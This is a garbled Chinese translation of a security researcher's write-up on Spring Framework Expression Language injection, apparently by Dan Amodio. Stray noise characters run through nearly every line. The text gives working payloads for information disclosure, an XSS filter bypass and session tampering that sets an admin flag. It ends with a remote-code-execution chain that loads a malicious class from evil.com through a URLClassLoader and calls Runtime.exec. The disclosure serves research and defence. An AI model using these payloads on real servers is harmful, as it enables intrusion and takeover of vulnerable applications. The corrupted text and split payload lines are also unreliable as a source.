Remote Code with" S; K( k7 q2 p+ m: G7 \9 K
Expression Language Injection
* b' l+ t4 p. ^, i6 aSpring Framework脆弱性—DanAmodio
^7 Z. ]' X, ?$ O" a: C全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中; p* H' p6 \5 E8 q C
可能会存在风险。5 B/ i6 [ G# [0 @2 N4 U
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的" L# k# Z; J9 A8 q2 G% R1 V( b
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可/ s" _% i: Z6 y
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,$ Y- J' S) C( @0 B$ @% T! Z
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
( O6 G* t5 ^( h" e/ T }版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
' K: ?/ E" N& k& r+ q* a1 y9 V由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但) K. @( K7 e5 _, y# z: G% L0 r5 _
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
. T* J4 I) }, q" s本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
H' I( R( m' E* ]" v0 {8 N这些版本不支持禁用double EL resolution.
, Q" l+ |4 i' X" S+ F5 W8 D这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
' j+ ?3 i' f; U+ o ~. h) _ gEL2.2容器上可能进行远程代码执行。" b" Y, k/ w v1 [& O) u+ P' S% v
这是一个原始信息泄露的攻击例子:1 m# x$ H1 { G% ~0 x+ I: G
请求:
; Y% f( W2 ]: n9 ?2 uttp://vulnerable.com/foo?message=${applicationScope}, y* A0 _7 k! I& E' U( u/ v4 J
到达以下内容页面:7 |" x0 @$ H J% S( R
结果将输出一些包含内部服务器信息calsspath 和本地工作目录- A2 v8 E8 i! v4 j3 j9 z1 m+ t
你也可以做一些其他事情,如这样:
& N5 r- l6 q" s( C4 p${9999+1}& \1 N0 ^$ q3 A _' X* ?
还可以访问session 对象和beans
+ z6 K+ r( D0 M- q" f${employee.lastName}8 e* Q6 Y" P0 s$ l8 Q
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
* ?3 T( j7 W7 r2 I! @7 I- Z( z1 cEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
5 e% d/ h4 m+ O6 y# Q* C西,比如XSS.: v: Y6 o2 A( z D: g+ F+ g
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签. ~- X: R3 G* p" M3 A2 k) A5 [
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤& C: I# ]7 O6 B! }& j1 y
呢?”
* ?" \, u& S. T. ^& l" k$ k因此,我尝试巳缦拢�
2 r4 ^/ T+ U, ~, g, c' o/ H; C0 rhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP" q& a5 {8 i, x* L- ]
P
( h# c! \/ A6 a3 u* H1 b我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返5 x2 Z" b* Z$ R/ i- M5 h X# I* O) f" Q
回的文本被插入进了spring:message 标签。
' h% X# [" i" L8 M这里是一个最终绕过过滤的实例:
: e- y! n, C J& l- r phttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ: A2 x s+ t/ E; F: D/ e3 b
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
) [# A1 W8 x) [" s. R什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?+ O- v3 K4 V5 @7 U) `/ q1 a2 K
经过一番研究,我学习到EL2.2 增加了方法调用。
c7 i* F k) f' S9 z8 f我写了一个快速测试应用程序代码并且检测一些功能; s) N, X! p, C7 p
${pageContext.request.getSession().setAttribute(“account”,”123456″)}; Y; S+ m6 U& \" k7 C) x
${pageContext.request.getSession().setAttribute(“admin”,true)}
. _; z: K% U7 O* l+ b好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的0 W7 E! e: Z( t0 [0 p
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
. @( r# x: R$ l* A6 W${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1# e$ g4 o/ x' l& \# d% w
“, 1234)}/ v/ p; |5 D" D
${“”.getClass().forName(“java.lang.Runtime”)}
6 k5 t. m9 i1 P哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
- m- W/ h$ c6 Z! O8 d可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
* B0 Q$ i/ _3 a6 H+ h/ T数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
, Y8 c0 l0 W/ l, [" G+ q1 v一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
. ~% Y; }' V; Q9 s S$ H方法签名invoke(Object obj, Object„ args)& {" Z- i6 T0 }5 {, b( [3 T
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
' C+ f6 A m# a. \题,以让它可以工作起来。. D! n _9 C. ], v
漏洞利用:
/ ?& ~/ G, X ]$ V我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我2 F) |% I- h* s t
希望你们中的一些JAVA奇才告诉我我是如此的可笑。4 `3 a. B2 _: o. Y4 p
这里有一些我试过的失败的用例,为了试图让它工作的用例:
6 X* f6 j5 ?( o! H A0 R& p 写文件到文件系统
8 c+ D$ d# V9 y: o9 a' e 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
% C: K8 m4 V* {7 Q4 l我认为这些可以很好的工作,但是我不能找到合适的类来载入。% c+ l3 F* C. O8 ~* G
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}5 ~( Q8 S6 w/ K
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:/ J$ i2 y9 S/ x- u
org.springframework.expression.spel.standard.SpelExpressionParser not found; Q# a# M3 }2 C- p- P# D
by
6 Z* @" w( K2 u# Aorg.glassfish.web.javax.servlet.jsp [194].
% R5 k3 @6 C- D, x 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public8 \8 A5 S5 ^3 `8 l9 x
利用反射来创建一个新的Runtime(and watch the world burn)* e5 w* i6 t* j# _6 S" x9 C
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
4 l2 T. Y( a: K, Z7 |0 M' P(“java.lang.Runtime”)).getDeclaredConstructors()[0])}# S; I4 g- `1 t7 L! U& l
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
4 D; A8 T" c; _1 ~; \/ Z 使用java.lang.ProcessBuilder7 v) {5 B z8 V
用表达式语言来评估表达式语言5 V; u% k9 K# ?/ S6 F7 O3 u' M
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.; S+ h3 I/ c {/ W# V* Z. j
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
; G }' e6 }7 M H' V: D3 n“,”".getClass(),null)}. e# f, s2 G( \- s, F4 Q3 E
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
& q- `) H. o! H9 X& ?4 g9 t我在使用一个空数组通过Method.invoke()时失败了很多次& D8 E. `- A6 z
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo1 K/ _1 ]% @: Y( d O! u5 [, Z
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A3 ~# S2 ]7 z I5 R4 q) w2 Y/ ~
rrayList”).newInstance().toArray())
8 U# B4 Y! ^ X4 N8 L, C4 Bjava.lang.IllegalArgumentException: wrong number of arguments
8 Q U4 c3 D9 t/ M最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
^" m1 y. \) F6 M' x- Y9 |以创建一个恶意class文件并且指向类装载器.; U. P8 l! l% f! ^5 g1 j
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:0 |. U1 u0 ^& L5 d$ H/ R2 z& b0 Y
public class Malicious {: M; Z4 f- h* y. \% s& k
public Malicious() {8 W% r: n% g( B4 B6 \; O
try {" ^" A1 E3 ?1 M+ |0 \# S f
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
9 q; L0 b' X% ~) V, {: jjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win( A2 `0 ]8 x( T; p, B, P2 _
} catch (Exception e) {3 c9 [: T5 S2 H8 C
}
* i0 K. r9 \3 Z' n* y, z1 P" G}7 z7 [' A* U! D3 y3 _3 j0 E4 t
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
% {* b8 W2 Y9 k" x9 G话中,因此它可以被使用.
5 F2 \7 E" Y4 m9 }. |6 N; x z${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName( M* e7 s. [* n5 x' N
(“java.util.ArrayList”).newInstance())}5 Y7 i+ u8 k' |8 l
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
& E% k, Q: q K& I" @+ o) |一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和( s. v G$ w5 A- m- q7 L
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
+ |7 j8 |; h+ Q4 C我们可以调用的create(string)方法,然后转换对一个URL对象。
* P) O. Q5 y0 M0 {( g${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh, v, z% y# s# }# l- a- y: N
ere/malicious/classfile/is/located/”).toURL())}- b- A2 O. C- C$ I' w/ i0 ^
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
- u3 q6 L3 s$ Z' a3 p6 N2 C2 M6 X恶意类文件被装载并创建,触发远程代码.% l5 g2 W! B4 d: O$ \# [2 U" _
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte0 \) Q! V& \$ x! H4 U4 a
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
) p, k7 y& M5 x" z- U3 \8 zgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance4 {4 e; F- L J1 l( s
()} |